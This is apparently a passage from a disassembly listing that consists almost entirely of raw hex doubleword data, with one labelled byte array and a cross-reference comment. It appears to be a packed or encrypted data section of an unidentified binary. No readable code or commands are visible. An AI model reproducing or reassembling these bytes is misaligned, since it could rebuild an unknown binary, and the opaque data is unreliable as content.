dd 0ED054800h, 44797533h, 84030023h, 0C8B4027Eh, 0FB7F1F4Ch
dd 0C246CE00h, 865D498Dh, 0D7000FAh, 0F43BC368h, 0F10088B8h
dd 63927C1Bh, 0C006B128h
dd 3A663D08h, 300018F4h, 71C69084h, 0ACFE01h, 4843AAD8h
dd 0BE095323h, 0DC22C91Bh, 2624E0D4h, 0FDDE863h, 1B6BBF77h
dd 327CE403h, 1A420800h, 2D2BFB25h, 63F4E884h, 0AB3028DCh
dd 0C3C22ED0h, 8FAC3300h, 5705167Fh, 425B013Dh, 68968CCEh
dd 3CD0F454h, 0C0E05100h, 7270D627h, 0D35A00E2h, 2A79309Ch
dd 4E7E44D8h, 0E04F2F37h, 1E5F0280h, 0A0684E90h, 696374C8h
dd 4BC508h, 3187A230h, 975DD171h, 25550300h, 0C88C33EAh
dd 0CDD806F3h, 0F8BF3C1Ah, 0E0750C3Ah, 34782D58h, 4C533DDCh
dd 88007ABEh, 62D83654h, 1500143Ah, 588547F2h, 3AA7E3EEh
dd 5B184B70h, 90EF409Ch, 6B661207h, 24001520h, 0AC5FFAB5h
dd 0F10104CCh, 620A7C2Eh, 5BF520ABh, 9B04C383h, 518AD317h
dd 0D08FB583h, 0F6EE4B80h, 0BC875233h, 0B36450h, 0D5592370h
dd 0AE307F86h, 37DD7E00h, 552E7C4Fh, 7B0200F3h, 0F70B0A6h
dd 0AB006D2Fh, 1337EBD2h, 543924h, 5EEE0A49h, 794B58C0h
dd 5037BB74h, 60D020D4h, 0F2EB49h, 0D611C31Bh, 37D1084Eh
dd 93DAEE00h, 0A8024847h, 0E45B0052h, 7A3841D3h, 257C2B01h
dd 1B357900h, 0DC69CB62h, 0E25B06A6h, 0B0194E3Dh, 0B9A81300h
dd 4D5C70D1h, 0C5AC008Fh, 0EC3FF23Ah, 0E60065BCh, 1BCF5426h
dd 1056BF8h, 95EF7563h, 805A666Dh, 86154440h, 82F51Bh
dd 0F2963B71h, 0EF453CBFh, 0BC3348h, 99583ADh, 910CABh
dd 7A3D378Fh, 24D6311h, 64C4E01Ch, 6B1DF480h, 18BB20D6h
dd 0A0273B4Ah, 0AC000833h, 15626FAAh, 0CE2A7C3h, 5C5EA54Dh
dd 3E38DC80h, 0AF2A80ABh, 9DDFF3A3h, 5270E479h, 68B75471h
dd 401069C2h, 0AA2288E8h, 3915C190h, 0CBA9CCh, 41D07F5Eh
dd 0B117264Bh, 2400C37Fh, 0EB77559h, 16DBDC12h, 1DE8EB79h
dd 233907EDh, 5F15105Ah, 0F8074E61h, 5B4B223Dh, 640DD260h
dd 1C906Dh, 0CB501E1Bh, 19B8AE13h, 0E996EF0Fh, 237283C4h
dd 16D02969h, 631E0338h, 62CCE667h, 961A2030h, 0C4EE755Fh
dd 0D007F8EBh, 34E59912h, 3DE12806h, 1C590008h, 78724C71h
dd 6B18F521h, 9EE09574h, 23C0082h, 1009A5F8h, 2F0CDEE1h
dd 0C0743DBDh, 5EED02D6h, 1E8A871Ah, 4572A0A7h, 50B86786h
dd 0AADA4D60h, 48107A43h, 9F651C0Fh, 3F21BC80h, 1A43D71h
dd 0CD6E7372h, 416F2012h, 0F491928Ch, 21B5360h, 0CBC1BDBFh
dd 22C930CCh, 0B31073F1h, 3BC79D00h, 0ED9A0972h, 399920B8h
dd 7BE041Eh, 22C8A245h, 3595BC61h, 656C8h, 5AA57052h, 12196514h
dd 54AE7709h, 0A4C400DFh, 0F0A9EBF9h, 98E003D3h, 0EE064A81h
dd 0B807D10Ch, 48D05169h, 0C00013BAh, 6A5B26DBh, 0F061904Eh
dd 0BF407BF0h, 0BE6FFCh, 16E0F56Bh, 0D2AF724Bh, 0D3B8C00h
dd 7879956h, 0CF9314D6h, 0A000B819h, 0E917DEFDh, 6D3D5F26h
dd 1CECA6C8h, 0BAD004Bh, 99BB06EEh, 0DA1D881Ch, 5DAB9900h
dd 0C9B6A1Ah, 41E9D28Bh, 2000C418h, 22365F3Ch, 4D5048h
dd 4E343085h, 0D9416A42h, 3D024B13h, 97D01860h, 0CA41C088h
dd 0B8160ACCh, 0FA2B70F9h, 8A306238h, 50B96D65h, 95DAE40h
dd 86BCE8EEh, 0F8D244h, 0CE3D497Ah, 0C1AEB453h, 0A4526000h
dd 0D41FE530h, 7B240040h, 12CB8998h, 0E7000859h, 569D9A7Dh
dd 8238E8h, 33C87FFCh, 9EDF7CE3h, 0FD3C23F8h, 570300A8h
dd 2F4BF23Eh, 4C3C0036h, 23B033FCh, 0E30BC9A2h, 774A5E90h
dd 0AE54A10Fh, 7521A531h, 54A02B2Eh, 0C908007Dh, 0D295CA32h
dd 0E6181F80h, 23809D7Fh, 2D7400B3h, 11CDA87Bh, 6C009FF4h
dd 2A5AA30h, 69D3BEh, 9D23C5B9h, 896B28CBh, 81F7BA3Ch
dd 0DBC82D55h, 0C0DA560Ch, 3A63BDBAh, 3F81C22Bh, 249EE334h
dd 0F4CDF8D7h, 587EA100h, 30DD7746h, 51BA1EEFh, 0F01D81B7h
dd 0D8EDB4F1h, 1200CF19h, 38A4A137h, 53B8569h, 0C1AF8974h
dd 0F198037Fh, 0B8029E15h, 16D48FB5h, 0B86C60D2h, 0E29200E6h
dd 6F66A6E4h, 401D284Ah, 9D00F52Fh, 5D5EEA3h, 0C8B46130h
dd 0D86D397Dh, 0B207CD32h, 0CBFA8FE1h, 579443h, 59DF1820h
dd 54DCEBC1h, 8B918300h, 0AF1A70D5h, 0BC521D82h, 32AD019Fh
dd 0F07E7F03h, 10E9D6CFh, 0F93C5E8h, 3C59974Dh, 1861B386h
dd 859A2900h, 41147801h, 1F3A79D3h, 8455288Ah, 879FAD53h
dd 8D0490DDh, 3C07A3F2h, 89B2B932h, 5A80FEC0h, 2180E90Bh
dd 44ECBEDFh, 960CEE69h, 80833BC9h, 0A5623B0Fh, 11530500h
dd 0D09F015h, 8C61F9E8h, 0A0BA3020h, 0CE4DECh, 9F123433h
dd 3CA282D5h, 3DAFBE03h, 0E169474Ah, 0D19F6AECh, 807F8F1Eh
dd 0A80502Eh, 0B17F8EBh, 20691030h, 7B1D09h, 2C21C56Dh
dd 2384F8Bh, 18271A00h, 686A43A9h, 28EB547Eh, 8ECF0A8h
dd 0B0CB0EFh, 5F6342h, 1E7BBFA5h, 0C790C200h, 0D5663B51h
dd 0D34E0006h, 0F2E46D42h, 72400D98h, 0E92F00A2h, 0AAB77315h
dd 0BE608E3Bh, 62E2DF08h, 64421DAFh, 0ED45CE8Bh, 9C377D20h
dd 5700B682h, 0E2F4CAB7h, 0C0C897h, 7BE12D4Ch, 6E7D4570h
dd 34F71902h, 0A1CBF295h, 0ED6914E0h, 7E976448h, 0C8FF1085h
dd 8357C81Dh, 0DC7B2FACh, 9C231EF8h, 3B26C107h, 3A8508C2h
dd 0E45B442h, 0B7E0B0A2h, 87AE08A0h, 7C640D2Ah, 0A29E6F40h
dd 0FE0076C0h, 8D9A7008h, 0EA92299h, 403AF595h, 0A32A71A0h
dd 0B800EB38h, 0D666239Bh, 90BC93F1h, 0DFDD0183h, 5B0E2583h
dd 663C50CAh, 8810A7A2h, 48C715B2h, 641AB013h, 3713A5FDh
dd 0C001B99Ah, 67E1111Dh, 0D8C71321h, 0AB3D00Fh, 0B7C8EF21h
dd 16F18198h, 68AC98h, 2E1B656Ch, 7762EE4h, 0F37E8813h
dd 149AB916h, 7AC0A843h, 74909C3Fh, 60ACD640h, 0A887085Fh
dd 0D7001064h, 9A36F2E7h, 0ADDF7Fh, 0E84B7EACh, 118EA6D5h
dd 0EE0CF67Fh, 307C9198h, 6DA300C8h, 238BDC28h, 3778D117h
dd 7C01600h, 0D3331065h, 88BA00F2h, 3F5F5914h, 110149EDh
dd 0B8D7FEE8h, 48BC9D50h, 0C2920379h, 0B11C5FC1h, 0ADC375B0h
dd 0B43FFFF4h, 2AD28017h, 9A671ECBh, 0F24B0093h, 0EC84231Ah
dd 0EE386C1Fh, 2F340308h, 0C00C940Ah, 0C6DB19Dh, 0B7175799h
dd 0CC0035C8h, 3485F5E2h, 74BF82h, 64772FF8h, 12F7BB6Fh
dd 54EB0500h, 3E171FF5h, 0ED75009Eh, 4310E3A9h, 6600F714h
dd 0A4B713DBh, 0EC5E1E9h, 25848B41h, 0ED496F40h, 9701DCE7h
dd 53CD9347h, 62201EA0h, 0FC35018Ah, 3B3DF373h, 0D9AFD0CCh
dd 0EB3F5AEEh, 2B8F8210h, 40D7261Ah, 0E40B9Ch, 0B20DDE57h
dd 3AFC117Ah, 55159B00h, 60AC6E41h, 1D88E6E2h, 0C07A6874h
dd 0C9324ACFh, 0E3FDF08h, 576483B2h, 0E09F0DE5h, 0CBDCBFh
dd 0E90BC05Ah, 684C2A58h, 64651E1Ch, 0DE75F187h, 26B06987h
dd 39F69590h, 6F007704h, 584A60FCh, 0A606FFAEh, 92126AFDh
dd 79D90CA0h, 97B8FE77h, 43CE2C00h, 5BE31647h, 489139AEh
dd 8FFAF00h, 6BCA499Bh, 3DA0581Ch, 2D6E6A40h, 3C1CD5h
dd 760566D3h, 0BDA7311h, 3D0CD048h, 0E7FA8065h, 8D95A4A3h
dd 69E02Dh, 13B54B9Eh, 560AD3BDh, 4DE72A00h, 7C61EA9h
dd 0E8E8D8h, 0D3F2D08h, 3D4A8B78h, 0D409451Fh, 0BF2A9485h
dd 1564B4C0h, 73FF0056h, 79CEC77h, 400278FDh, 3F66F154h
dd 2EDAC07Bh, 89400D1h, 2E7A9DBh, 5200974Bh, 0CD2398C3h
dd 5C799957h, 3B00F4A5h, 1912BD31h, 1B0ECF5Ah, 60481CDDh
dd 0B655DEEBh
db 0B2h
byte_4E0049 db 18h, 0FBh, 0ABh ; DATA XREF: ___:0042CC94o
dd 43A63899h, 7E1D4202h, 60F7F907h, 0E849C74h, 0FD08BA13h
dd 6B0E3E20h, 0F6073DFAh, 0FF03E02Eh, 57BEA180h, 884E0043h
dd 11258D56h, 66013270h, 583FF8D2h, 7FDCB1A8h, 2F2A00EEh
dd 69180AC2h, 0E50ED811h, 922582h, 0D30541E7h, 52E2005Ah
dd 6F56A5BBh, 9E006688h, 0B34CF2D5h, 0AFD86Eh, 0F5C90994h
dd 501BB1B8h, 95C04001h, 4385BEEh, 11E83E4h, 0A437F885h
dd 303C2396h, 0EE3E92D7h, 73D9803Ah, 3284A262h, 5A340304h
dd 0A77A1296h, 43A8119Bh, 2DE6B49Fh, 1716303h, 675D677h
dd 0A8476628h, 1B7E5C03h, 20E60770h, 80084E3Ch, 7699C91Ah
dd 782467CFh, 8CA8000Bh, 0F22E1B3Fh, 0BC006658h, 0F877F957h
dd 30B10Dh, 68C3B4C2h, 9E8174C8h, 59A24C07h, 72B04A87h
dd 0B9A85Ah, 6553C630h, 7B9D7179h, 78869807h, 91E02659h
dd 17FFB8h, 6ADD0DC3h, 7C85DEF8h, 1887E91Eh, 0CB00D428h
dd 0CA9424B2h, 4295D4h, 40C9059Fh, 0BEA215Dh, 1EFEA703h
dd 0DDDD76EDh, 2801ECF8h, 0A5BE12BFh, 3FB3203Dh, 4907D207h
dd 31E0EB3h, 0F0DF9A5Bh, 0A07E81D7h, 9983E8h, 0D2F26B40h
dd 26706D01h, 73873600h, 3DD9D3CDh, 23B90327h, 6BAC095Eh
dd 474463D0h, 49D79A00h, 0F0FB7FEEh, 0E730084h, 1E6B907Dh
dd 4C00AE94h, 8198CB3Ah, 0C34FA2h, 0C2708056h, 0DA93110Dh
dd 0AA73780Eh, 3A5F4747h, 1A46B9A0h, 0BBB20089h, 0F0333037h
dd 0C40003DAh, 39A2761Bh, 0AF96C0h, 877D7CE8h, 365A62FEh
dd 1178B430h, 49721Bh, 381A171Dh, 0E93BD60Fh, 0F79FA000h
dd 3D5AA159h, 0D2360153h, 0E80195EEh, 0A0D1C8BEh, 20064F0h
dd 0BCC13DD0h, 7C363158h, 850B0095h, 0F4EE5DC5h, 65004C8Ch
dd 2A48B0F2h, 0E0946Eh, 0C0B6D1ADh, 7D0B8DF7h, 0CD476500h
dd 5C80305Dh, 0CB6F16AFh, 48D0013h, 927DC79h, 2FBC0800h
dd 0BFA82D98h, 0B0315C63h, 9E9A6C03h, 56D803F1h, 0E0F98455h
dd 0C1000A1Bh, 4D38CE15h, 7B1FFDCBh, 0D4910947h, 4D803C6Eh
dd 0C1E49286h, 23BEC12h, 8D161000h, 26FCF13Eh, 846EDh
dd 170833ADh, 3F00D6CAh, 564E8B68h, 49991Dh, 0FDCCF0DAh
dd 3D71C306h, 17985E0Eh, 91EA6075h, 385D04DBh, 0B801C984h
dd 8B4876E4h, 9C39F8BBh, 3DA19B1Ch, 0C4293E80h, 6CC2C9h
dd 2F07684Dh, 70878F2Bh, 2571C000h, 0F83C55A4h, 2C9C3E73h
dd 46749D80h, 3F989749h, 0C61AD500h, 0F042CB5Fh, 92140126h
dd 767CF8A7h, 908030ABh, 86094D00h, 0C5F92516h, 69BFE8Eh
dd 0A8F75067h, 0E03CF89Ah, 30007D9Dh, 0A61BCC72h, 0C3350Ch
dd 51EF0396h, 6E14F102h, 12D0A500h, 35CBEE13h, 0B8D418A0h
dd 0C0A4FE66h, 0F6006BB0h, 2BEDFE80h, 6832456h, 9D41DB27h
dd 0E20018FCh, 0AEBE2D3Ah, 7FF17DAAh, 5D90005Ch, 0E07F27FDh
dd 5B00A06Eh, 0F9111767h, 0C5E0A58h, 0A943DEF5h, 2F004040h
dd 0DCC0A51Ah, 9878CE18h, 6C1D0024h, 2D360C35h, 0DD3B33EFh
dd 3BE60011h, 19F9619Dh, 87B0E8h, 32E9924Dh, 0F11CEC3Ah
dd 0AB150400h, 3CCC3094h, 0C060320h, 75D2FA40h, 2EC23880h
dd 2AA82500h, 452C3CC6h, 123F1D64h, 87440E3h, 3A7749C3h
dd 3D89C100h, 53611B31h, 6B180E59h, 3CE0E1E6h, 93321607h
dd 9C510400h, 0F71FBBC2h, 62B8C7h, 291B8961h, 70C97E69h
dd 7C623400h, 645D198Eh, 0F58F00E1h, 1C6C436Eh, 2B0069FCh
dd 752681D8h, 0CAA8Ah, 0FA2D4CF3h, 0A3E89411h, 17BB58h
dd 43636A96h, 81A96Bh, 0B17927A4h, 0DEBF2DC0h, 0B895401h
dd 45C8751Bh, 1FA6D160h, 40D1BB2Eh, 5CE9021Fh, 171D38DCh
dd 580DD43h, 0F763D9A1h, 88790722h, 0A0619BE5h, 0D816E79Eh
dd 6D005CF6h, 7333B5D2h, 3EAEB33Dh, 6A1C2FE5h, 0E8C84057h
dd 3FDB764Eh, 0CA09380Eh, 0C3FBAFBBh, 0C110471Bh, 0E4DC91E8h
dd 494B1B1Eh, 0DF9A10CFh, 7A4C2BC0h, 77A45900h, 40AD733Fh
dd 86A100AFh, 8CF9CBB7h, 0E7070FBDh, 1B5AA307h, 0DF31D127h
dd 49CCF791h, 0BFFB0023h, 99EA9F3Dh, 2E004EA3h, 0A21C0CCFh
dd 0E813EEE5h, 0F6F28Bh, 7A4D9C53h, 0A37BEDDh, 2497DA3Ah
dd 1C030052h, 7C9A236h, 6CFFF6C8h, 0BB003F20h, 0A657F747h
dd 5BDC850Eh, 2CBC601Ah, 0F9CED9h, 0A226E0C9h, 0C08CEFE9h
dd 0ACB23907h, 12704D92h, 5F41FEh, 97C90E20h, 6F23D511h
dd 9D139C00h, 8B98BD01h, 66D00FB5h, 1DA05F72h, 0F19B71ACh
dd 8C294C00h, 2199BB57h, 0B7600082h, 2B152469h, 0B4775C91h
dd 0A8BDFE00h, 0E77332D1h, 6F980625h, 48F178C6h, 0B455100h
dd 0C0DAEEA5h, 4C8D039Bh, 98FD66F6h, 0ECED5881h, 0FF00392Bh
dd 73EA4875h, 426F82h, 6DDF8483h, 0D28BBAB1h, 5A5AA07h
dd 0CB00ACEFh, 19534Eh, 0FBF89813h, 51B41DEBh, 20476C0Ah
dd 9F04981Ch, 55C04CF0h, 2ADA92h, 0A3A2D512h, 69CA76Bh
dd 74EA8101h, 2F54202Dh, 0B11C20h, 4EDF22C6h, 6165D80Bh
dd 0D18C2C03h, 0D05B3669h, 7CC34E0h, 0ED8BD388h, 679AC080h
dd 0C30FB078h, 0AFDBD06Ch, 55790164h, 4A60375Eh, 0EE5707BAh
dd 70E0F04Eh, 26F18373h, 0FD9D0900h, 866D087Bh, 7C4B0C4Ah
dd 9848782Bh, 0BAF51D0Bh, 71BB8064h, 0E95BBEADh, 20804621h
dd 4F5256Dh, 2300B47Bh, 1FC1E04Ah, 7EC459h, 28AD4C79h
dd 93F50EB6h, 165A450Fh, 0BDE0867Bh, 2FE70018h, 346F06F4h
dd 300E1888h, 8061AD04h, 4FA71721h, 0EEB700DCh, 6C24BEE5h
dd 6B0ED260h, 0E74D1AE3h, 0C9C02E8Eh, 853A6Fh, 67815A2Dh
dd 6BD6E8A7h, 0A3231500h, 9DC2DC46h, 3A2C7809h, 4840FD1Bh
dd 642A4300h, 0FA3DE014h, 0EB7B3F54h, 10814B81h, 0B187C7C9h
dd 0F94A3828h, 0F6754E70h, 10220635h, 50DF9D97h, 0F8289220h
dd 60FC0351h, 1D4F0EEh, 0B30CDEA0h, 0A8042D07h, 0A00E8534h
dd 604709A4h, 0F891C096h, 0A5F74BECh, 0E43B18C1h, 2F701435h
dd 0CAAA057Bh, 0AB449EB4h, 92A24980h, 4696A01Fh, 0E207B8Eh
dd 311F3BEh, 2400CF8Eh, 0E74E71EEh, 19B92267h, 0B9E3602Eh
dd 6512ECFh, 7343BFA6h, 710E203Fh, 7DE8D2BDh, 3435F5C0h
dd 0C4C9C1h, 2EF1E46Ah, 4F398C82h, 0A4652300h, 1A33CA12h
dd 954E0CE9h, 0AEC008B3h, 980C554h, 0ABC6A91Bh, 0D847E0D9h
dd 9318C03Eh, 14632251h, 15C828C0h, 84BC24h, 683CFBBh
dd 0B204E0EAh, 0A4978018h, 0E74341h, 35AFC6A5h, 0C221BC10h
dd 0F2663F00h, 0DA6EE9C8h, 0E7F701B2h, 0A684A050h, 35E2D8D4h
dd 1ABB8800h, 83624BCEh, 24F90E8Ah, 7A60DC52h, 906DFC4Fh
dd 0FE0C4C03h, 0EA933Dh, 48970180h, 65DB42CDh, 8DD8742Eh
dd 34820300h, 98CA241Fh, 0EE6E002Fh, 16795D0h, 530F651Eh
dd 0C05D5F76h, 63F8CB02h, 204F0085h, 7B010C0Bh, 43092C34h
dd 2490D2h, 0D1A2FBE4h, 0E476006Ch, 3F536A2Ah, 7203B6C7h
dd 38AC7870h, 0F2E7D0CBh, 8AFE0051h, 14B85F56h, 86FAF8FAh
dd 679801FEh, 6B646500h, 0E3A3831Ch, 375200D4h, 4C2BA98Dh
dd 40097651h, 80C4AFB6h, 3EE3ACBBh, 0B815005Ch, 6AF4E01Dh
dd 39E01675h, 7450B700h, 0F33A8A3Fh, 0E2B807A2h, 1F7507AFh
dd 0FF87DC83h, 9C0A6FE8h, 3F2EF400h, 4A82327h, 716E3902h
dd 10E7FF00h, 0C66B45F5h, 1A9F1201h, 0B4F42648h, 1F5ABFDCh
dd 408FB2FFh, 105F3D9Bh, 2F76383Bh, 0A1D6C900h, 6044AB52h
dd 0F664008Bh, 0AEBA7F5Fh, 8700711Fh, 6DC34391h, 36C8A1Ah
dd 0D76F0315h, 2BE0CC44h
dd 0C12CF4DBh, 3F3E4A10h, 58B10094h, 2767043Fh, 0CD690063h
dd 6CE926B2h, 0E00E31B0h, 0C17BB4E3h, 64725A5Fh, 6721E8h
dd 1BE729C3h, 0D7FF0409h, 0C523EA00h, 48779C5Eh, 4C1300E3h
dd 4E3155DDh, 0AF00D662h, 0D44F1986h, 2342E2Bh, 45E015A1h
dd 0CFE0E76Eh, 0EB0F88ACh, 0C049F0F8h, 0B3550AC4h, 542F017Eh
dd 0BAC6B06Fh, 0EDB080A4h, 38183E5Eh, 3DEB0046h, 95473B9Bh
dd 0F671F95Ch, 0F428F500h, 0C0ADF156h, 0E3960EDh, 0C961DE48h
dd 0CEBF330Eh, 0E0948F13h, 84D59314h, 0C71D2ED1h, 37CA0082h
dd 0FD18040Ch, 38BFED18h, 9918A60h, 0B150D75Fh, 61B96000h
dd 0D90087ECh, 9D44FA49h, 7462F6Ah, 6F33BDFFh, 19B7E0DFh
dd 0B5B094E9h, 764A7801h, 3B53EAD5h, 0A1DDDCh, 39E81546h
dd 0FD95C02Fh, 6E481C00h, 47B68554h, 0E98E00E7h, 29222BC8h
dd 3D030F44h, 4FEB2A79h, 7561FBCBh, 0A3D00071h, 9D5052BCh
dd 931DBA66h, 0C2407621h, 2CF686E2h, 8C7A001Fh, 9D02D181h
dd 8D0025B6h, 0FE210BCDh, 0A18A42h, 5DA76478h, 0F8DBA809h
dd 0AC016C0Bh, 313D80C6h, 0CDB6B0h, 0BC50C188h, 80CBE42h
dd 73118A07h, 406ED4C0h, 6D3B1346h, 69F70241h, 7A4F955Dh
dd 8DF61860h, 0C7F0EC00h, 9FCA282Ch, 3E49249Dh, 0D8933A3Ch
dd 8E500740h, 0BA4DF095h, 84708D87h, 0CD098B1Ch, 239147CEh
dd 0C0E6D004h, 7E405953h, 800B5436h, 150A0E8h, 93510E7Ch
dd 0EC60E564h, 0EEF478ADh, 0E258B5h, 0C51905A2h, 751EBF13h
dd 7F8F4E1Dh, 79718CC2h, 165C6095h, 0CB4D00FFh, 5786BCC0h
dd 0F909757Bh, 0CA0D17h, 0B7E62906h, 0AA7A26h, 6A18064h
dd 0EDFA9C16h, 0C4EF2800h, 0EB20F30Fh, 3D0BE0DCh, 0AD007543h
dd 23EDCA6Dh, 10E3B8Ch, 0E082C144h, 1B02FF5Dh, 4BDA0066h
dd 8C60B3BAh, 0EE0FF6C2h, 21BC73BEh, 1018F128h, 89180E3h
dd 3B011DE0h, 0C770021h, 0A16FB7C7h, 0B3F2DA00h, 2BC1B9B8h
dd 0BD657E4Eh, 0F1001378h, 0A02004C7h, 0A78AD7h, 5E56C4A6h
dd 47238858h, 0D6DF6300h, 797CCC49h, 0A19B0077h, 0B90A61B4h
dd 2570C8E8h, 3997ED00h, 2835A51Ah, 0BC60389h, 34516F3Dh
dd 0D880B4C3h, 7F005DE8h, 0BFE0F4E9h, 38105383h, 881F74A2h
dd 65214036h, 587C6FF0h, 9F64E500h, 4EA14AF6h, 1991031Ah
dd 0F8951CF7h, 0F31823CFh, 0E422C9C8h, 5B30C176h, 5FBF1928h
dd 7C160002h, 0A5F59627h, 0DE0021D9h, 52C78772h, 22EC10h
dd 75CA90DDh, 260464F7h, 13860F03h, 0D8A3AA24h, 0D1EFB8h
dd 0B7272A31h, 196D04F6h, 0A9604E60h, 2FD842h, 0EF34E57Bh
dd 0F5739EC2h, 84BB3A2Eh, 233C1E00h, 0F661DB68h, 0C5160053h
dd 31FCC1A8h, 7300555Ah, 0BD74CFD3h, 819C15h, 0E47891ACh
dd 9737D4DAh, 0A76A6F00h, 509EF2E9h, 0C0A50048h, 9224E0D9h
dd 5D00B3BBh, 49080636h, 0D0AAEh, 0FA26020Fh, 65A4BD45h
dd 99EA6900h, 0E65E3D17h, 0E5A7EC5h, 571B91B7h, 31CDDA60h
dd 1F047EC3h, 0DB477DCCh, 0FA41C80h, 88071887h, 4F9010DCh
dd 5EF57102h, 403839FCh, 7D10220h, 5695B99Dh, 736A4399h
dd 32391800h, 345AC8Bh, 872C005Dh, 0A97998DFh, 577867F9h
dd 6246FB0Fh, 0E4DB40BDh, 10CB6683h, 79BF1D2h, 144AC7C6h
dd 6367DFF0h, 4120392h, 702D2377h, 9EA0D001h, 96C63A59h
dd 0D2820h, 8CD8AF21h, 0CA10D7D9h, 8EA6A803h, 80D1FB08h
dd 5F39DDh, 30F338B9h, 70B84888h, 2BCBEB00h, 0B2AA289Eh
dd 0A4C90145h, 7A919D31h, 0E132D03Ch, 27203000h, 5F7C07A6h
dd 6BE2FDh, 4C6AB577h, 44FB621Bh, 6FBD6300h, 0AB09BF37h
dd 745CF0BEh, 0F37F55h, 6E601B01h, 0C94C1D3Ah, 91EAB9EAh
dd 0AEDA8617h, 0D7A8871Eh, 0D0612C00h, 1615BBDDh, 5FC7BCEh
dd 53E4B9BCh, 4CA405D5h, 0DFA7C1C3h, 8118202Dh, 8BF1E700h
dd 2C85C497h, 9DED0711h, 40BF7E27h, 0B0691231h, 0B51A2516h
dd 5591AD01h, 0FCC8A2F1h, 0F490FB4h, 6820A5B1h, 25F86EA0h
dd 0DC7BB00h, 0A84F89AFh, 7AF0E4D4h, 0DB93005Fh, 41E7B37Eh
dd 143A8D82h, 3FD8F8h, 0D09A625Ch, 3B6C8F5Dh, 4E83A223h
dd 0EA850C47h, 0E292E3B8h, 0D197070Fh, 6F3420A4h, 4C5582B9h
dd 951C34C6h, 69F84268h, 9D60FB66h, 4500889Fh, 7109C054h
dd 0D28242h, 0F1875C1Fh, 10BF33Dh, 4C80850Eh, 0F2D86047h
dd 13C18F19h, 12C608Ah, 1F454413h, 9B609FC2h, 3D157200h
dd 3AAAC355h, 960059FFh, 0F1CEC85Ah, 0E0F39104h, 30DEBAFBh
dd 8710E918h, 0B9CB4038h, 0EBE85A00h, 0D4554E5Eh, 626B0028h
dd 78AAA0EDh, 3D002296h, 0A4E58C7Fh, 2A9B058h, 8A79D5FFh
dd 0B401199h, 7207A6F3h, 6DE87544h, 0B5CE940h, 6994396Bh
dd 0F25B9E00h, 0CFDED301h, 0A765C51Eh, 0ED2B8C40h, 53F5018h
dd 605F27B3h, 732020DCh, 0C500581Bh, 956CFFC9h, 8041AEh
dd 0A465189Eh, 0F5162B74h, 0A0E40600h, 14819475h, 717089h
dd 43E75518h, 8E8F7CB7h, 0F11D6E00h, 3C6B345Dh, 0CE0600FEh
dd 54995AC6h, 980072AFh, 188CA048h, 0F2C3A386h, 102A0047h
dd 8F7079F0h, 48071388h, 0F556786Ch, 0C028D9F2h, 0EADB66h
dd 84218BC6h, 0D2CF9D76h, 0A3765FEAh, 238E4D16h, 87320600h
dd 17FDBE29h, 800CD32Eh, 65307770h, 4D0080FEh, 7E8B4BDFh
dd 95BDB0h, 4B82041h, 8F0F6F88h, 88553528h, 0AAA3B418h
dd 3208AE8h, 42F3541Fh, 0C9C3AE33h, 4037FEE1h, 17764890h
dd 197C4E3Eh, 0F9292454h, 7A018EEDh, 0A09C1035h, 0F850C493h
dd 0EA924220h, 2160587h, 9566D114h, 6CBBEC00h, 17874F3h
dd 96B2D317h, 0ECE1D8B3h, 0DB00F676h, 0CE3F6DE6h, 0FA7D9468h
dd 7764002Eh, 0AF6F1D51h, 0D61C90A4h, 1F3AF7E3h, 0D00029F1h
dd 0DC8D7626h, 22850250h, 0A2E48165h, 0E9B27760h, 0F6F8EEB8h
dd 2B7ADA90h, 788E5000h, 4A09A6B4h, 0F2DF1C74h, 26EEC061h
dd 59D60C49h, 0E0003CF0h, 0AED38FEAh, 9E3E6Eh, 0FC390B5h
dd 30A38ECEh, 851A4B07h, 4E103869h, 7F94FEh, 87E22B14h
dd 1EDBFCFDh, 6C482AE2h, 186B0048h, 0FF2C4BD1h, 70130EF6h
dd 25858526h, 307687D9h, 985CC205h, 58155900h, 5E0F87B5h
dd 824F00CBh, 7C4B9AFBh, 3B00B453h, 0B5D86508h, 6D31ECh
dd 0F71FE2BBh, 0FFF61EDDh, 82707660h, 6DC4EB0h, 0D10A675Fh
dd 880018F2h, 0D4B9A319h, 0CC4F83h, 8EFEE2EEh, 68C7FB97h
dd 938C7000h, 7E5044FAh, 2409008Fh, 0DAD6C8CDh, 2F30C964h
dd 0D12DA08Ah, 98D23ECAh, 0EA3F007Dh, 8DD790C1h, 0B900B59Dh
dd 0C0D9F34h, 1D243219h, 8054EDAEh, 9B0679F6h, 2738D8ABh
dd 0B78D00B9h, 65CD2510h, 730E078Ah, 30756C0Bh, 0DD196E23h
dd 18BB2100h, 2C2F098Bh, 0CD6200EEh, 0AB81407h, 0BE02F2B2h
dd 11C170ADh, 97004141h, 1F8F05E8h, 0C7E99E22h, 0F7ED5671h
dd 57F7D720h, 0BB4810C6h, 5C0064FDh, 0F199B878h, 785E0BFh
dd 47D7081Fh, 0A8F5D0F2h, 7B001007h, 0A95EDEA1h, 70F60Ch
dd 0F396A438h, 2BDD8E64h, 48973Ah, 122199A3h, 0A6CB92h
dd 138BB82Fh, 83683377h, 415F6000h, 0A811176Dh, 27B379BCh
dd 20FC61D7h, 543AFD0Fh, 0CDF600D5h, 5995CA04h, 0E4AC4C79h
dd 0E11D1600h, 927E4AFFh, 0B8ADEB00h, 0D57A32DAh, 23B300E5h
dd 0CA69136Fh, 6D00B4CEh, 4EE0F74h, 1CF17B18h, 404A98EFh
dd 317624B8h, 0DCE5999Fh, 8500C1A4h, 68420FB5h, 239DE2h
dd 0BD3E4C53h, 72050ACDh
dd 94DAD500h, 5C1BA5B4h, 0DFEAE2h, 0AFE6FD54h, 1AF61D2Eh
dd 0D638BF7Ah, 173800ACh, 0C2912D96h, 0AA750050h, 30827C5Fh
dd 82B83FDEh, 101A6B03h, 907FA4E4h, 9B8A16h, 81CEA3BDh
dd 4C22D976h, 0BA067A03h, 0EF11F364h, 4FA485A1h, 6B7660h
dd 33B52F9Eh, 0E586027Eh, 3E09707Ah, 0EF07D2h, 511CF218h
dd 2C7F90h, 0A0294627h, 0C21363F9h, 0DD720D00h, 14D2C0DCh
dd 6676004Dh, 6D01EEB5h, 0FE02CA52h, 87493C2Bh, 0D2D84317h
dd 94441Bh, 0EE19C4C3h, 982C9F10h, 2FDE3E00h, 8D6BD905h
dd 0E17E014Fh, 688314D1h, 0CB9C20EFh, 8525D00Ch, 0FCEA1161h
dd 47730091h, 0FE3F3843h, 2F03EE04h, 158AFADh, 7497E0ECh
dd 0A3BC0092h, 5730524Bh, 6D1EB70Bh, 0AF49F808h, 60640E69h
